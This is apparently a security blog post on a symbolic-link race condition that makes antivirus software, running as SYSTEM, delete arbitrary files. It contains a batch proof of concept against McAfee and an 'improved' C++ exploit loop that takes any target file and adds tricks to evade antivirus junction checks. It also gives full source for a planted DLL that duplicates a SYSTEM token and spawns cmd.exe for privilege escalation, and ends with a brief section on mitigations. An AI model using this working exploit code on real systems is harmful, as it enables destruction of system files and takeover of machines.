Breaking Antivirus: Arbitrary file deletion using Symbolic link

A newly discovered symbolic link attack in many antivirus can cause arbitrary file deletion. In this blog, we will be discussing how to create the exploit and mitigate it.

6 min read
Breaking Antivirus: Arbitrary file deletion using Symbolic link

A recent research done by rack911 labs on exploiting almost every antivirus using Symbolic link shows the issue of logical vulnerabilities still easily can be found in Antivirus software since previously been discovered by researches of almond offsec team. The issue is extremely critical and can be used in many ways by attacker to gain access to system resources. After reading the blog from rack911, I have decided to express my thoughts on this exploit and show how the exploit can be improved as well as can be mitigated from antivirus prospective.

About the Exploit

Most antivirus follow a similar procedure of real time malware protection scanning. Once a new file is created, they scan the file, detect it if malicious, then remove the file. But a notable event happens in between is the time frame present between the detection and deletion of file. Also called as TOCTOU(Time of check and Time of Use). During this time frame, attacker can easily win the race condition and create a symlink of that file to point to some other file. So when antivirus running as SYSTEM will perform the delete operation, it will delete the symlinked file(REPARSING) rather than the original file. I highly recommend you to read more about the Symbolic link exploitation before continuing in my previous post.

Following is the POC used by rack911labs against McAfee endpoint security for arbitrary file deletion.

:loop
rd /s /q C:\Users\User\Desktop\exploit
mkdir C:\Users\User\Desktop\exploit
echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > C:\Users\User\Desktop\exploit\EpSecApiLib.dll
rd /s /q C:\Users\User\Desktop\exploit
mklink /J C:\Users\User\Desktop\exploit “C:\Program Files (x86)\McAfee\Endpoint Security\Endpoint Security Platform”
goto loop

Improving the Exploit

The above exploit works perfectly but can be improved by developing as an executable. Creating an executable program will be good option because of the portability and integrity with other exploits. This can also bypass antivirus detections of blocking directory junction to critical directories through .bat files or windows shells.

Further we can do few modifications which can remove the coloration between source file ( EpSecApiLib.dll in above poc)  and the deleted file. As for above case, we need to create a file with same name on Exploit directory as the filename which we want to delete. But we can fix this in our POC below.

To use the below POC, you need to clone the following repo. In the main() function in SymLinkExploit.cpp file, paste the following code.

if (argc < 2) {
		printf("Usage: %s <file_to_delete> \n", argv[0]);
		exit(1);
	}
	wchar_t bufferSystem[1024];
	targetfile = argv[1];
	std::string targetf(targetfile);
	targetfw = L"\\??\\" + s2ws(targetf);
	targetfwDos = s2ws(targetf);

	const wchar_t* targetfww = targetfw.c_str();

	if (!PathFileExists(targetfw.c_str()))
	{
		wprintf(L"[-] File %s does not exist \n", targetfw.c_str());
		return 0;
	}

	WCHAR userHomePath[MAX_PATH];
	WCHAR exploitFilePath[MAX_PATH];
	if (!SUCCEEDED(SHGetFolderPathW(NULL, CSIDL_PROFILE, NULL, 0, userHomePath)))
	{
		printf("[-] Exiting... error - %d \n", GetLastError());
		return 0;
	}
	if (!SUCCEEDED(SHGetFolderPathW(NULL, CSIDL_PROFILE, NULL, 0, exploitFilePath)))
	{
		printf("[-] Exiting... error - %d \n", GetLastError());
		return 0;
	}
	if (!PathAppend(userHomePath, L"Desktop\\Exploit"))
	{
		printf("[-] Exiting... error - %d \n", GetLastError());
		return 0;
	}


	if (!PathAppend(exploitFilePath, L"Desktop\\Exploit\\eicartest.exe"))
	{
		printf("[-] Exiting... error - %d \n", GetLastError());
		return 0;
	}


	HANDLE hret = CreateSymlink(nullptr, L"\\RPC Control\\eicartest.exe", targetfww);
	if ((NULL) == hret || (hret == INVALID_HANDLE_VALUE))
	{
		printf("[-] Failed creating symlink index %d ", GetLastError());
		return 0;
	}

	//running in the loop
	while (TRUE) {
		wsprintf(bufferSystem, L"rd /s /q %s 2>NUL", userHomePath);
		_wsystem(bufferSystem);
		wsprintf(bufferSystem, L"md %s", userHomePath);
		_wsystem(bufferSystem);
		wsprintf(bufferSystem, L"echo X5O!P%%@AP[4\\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*> %s", exploitFilePath);
		_wsystem(bufferSystem);
		wsprintf(bufferSystem, L"rd /s /q %s 2>NUL", userHomePath);
		_wsystem(bufferSystem);
		wsprintf(bufferSystem, L"md %s", userHomePath);
		_wsystem(bufferSystem);
		wprintf(L"[+] Creating mountpoint from %s to target \n", userHomePath);

		if (!ReparsePoint::CreateMountPoint(userHomePath, L"\\RPC Control", L""))
		{
			printf("[+] Big Faiiilll \n");
		}

		printf("[+] OUT -> junction created \n");

	}

You can find the full exploit code here.

The program can be run by passing the target file to delete as an argument.

In the above program, we are creating object symlink of passed filename( C:\Windows\system.ini) to \\RPC Control\eicartest.exe then creating junction between C:\Users\Username\Desktop\Exploit and \\RPC Control rather than directly to target directory(as done in batch poc). Remaining things are same as the batch file exploit. These above changes will bypass few small checks done by antivirus for directory junction creation like one of the av try to block directory junction creation at target side.

POC Video below:

Turning Arbitrary file delete into Privilege escalation

The above issue will cause DOS on antivirus or windows system by deleting critical files/dll etc. But can this arbitrary file deletion be converted into Privilege escalation? Let's find out.

To cause privilege escalation with the above issue we can cause dll planting. For that you need to select the target process running as SYSTEM(better the antivirus itself) which is loading any dll with LoadLibrary and any dll search path is writable by user. Let's understand this in more depth.

Dll search path for LoadLibrary

When you are calling LoadLibrary with the dll you want to load, if “Safe DLL search mode” is enabled (which it is by default) the operating system will first check if a DLL with the same name is already loaded in memory or If the DLL is defined in the “KnownDLLs” registry key (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs). If neither of these conditions are met, Windows will load libraries using the following order:

  1. The directory from which where the application was launched
  2. The system directory (C:\Windows\System32)
  3. The 16-bit system directory (C:\Windows\System)
  4. The Windows directory
  5. The current directory
  6. Directories defined in the PATH variables

You can read more about this here.

If any of the above path is user writable then attacker can delete the original dll which should be loaded by LoadLibrary and copy his own dll with same name to any of the above path. When LoadLibrary loads the dll then it will load the attacker's implanted dll rather than the original as original has been deleted by our exploit.

Through the DllMain , you can run any process/service by duplicating the process  token. Since the process is running as SYSTEM, the newly created process will be also of system privilege. Below is a POC dll code which will start cmd.exe with duplicating the process token in which it is injected.


#include <windows.h>
#include <Wtsapi32.h>


#pragma comment(lib, "Wtsapi32.lib")


DWORD GetFirstActiveSession()
{
	PWTS_SESSION_INFO sessions;
	DWORD count;

	if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, 
    &sessions, &count))
	{
		for (DWORD i = 0; i < count; ++i)
		{
			if (sessions[i].State == WTSActive)
			{
				return sessions[i].SessionId;
			}
		}
	}

	return 0xFFFFFFFF;
}

void StartProcess()
{
	STARTUPINFO startInfo = { 0 };
	PROCESS_INFORMATION procInfo = { 0 };

	startInfo.cb = sizeof(startInfo);

	HANDLE hToken;
	DWORD sessionId = GetFirstActiveSession();
	if (sessionId == 0xFFFFFFFF)
	{
		sessionId = WTSGetActiveConsoleSessionId();
	}

	OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
    &hToken);

	DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nullptr, 
    SecurityAnonymous, TokenPrimary, &hToken);

	if (sessionId != 0xFFFFFFFF)
	{
		SetTokenInformation(hToken, TokenSessionId, &sessionId,
        sizeof(sessionId));
	}

	startInfo.wShowWindow = SW_SHOW;
	startInfo.lpDesktop = (LPWSTR)"WinSta0\\Default";

	WCHAR cmdline[] = L"cmd.exe";

	CreateProcessAsUser(hToken, nullptr, cmdline, nullptr, nullptr, 
    FALSE, NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,
		nullptr, nullptr, &startInfo, &procInfo);
}

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
	)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		StartProcess();
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
Dll implanting sample code

Mitigating/Fixing file deletion attack

You will notice the following attack doesn't work on some AV's like Norton antivirus. The reason for that is, they create a file oplock while scanning the file and doesn't release the lock until the file get deleted. Due to that  our exploit fails.

Below is the logs in which you can see similar lock creation and release done by Windows defender.

Locking the file
Releasing the lock

As another solution, Antivirus can also do proper impersonation while through scanning engine to block the issue.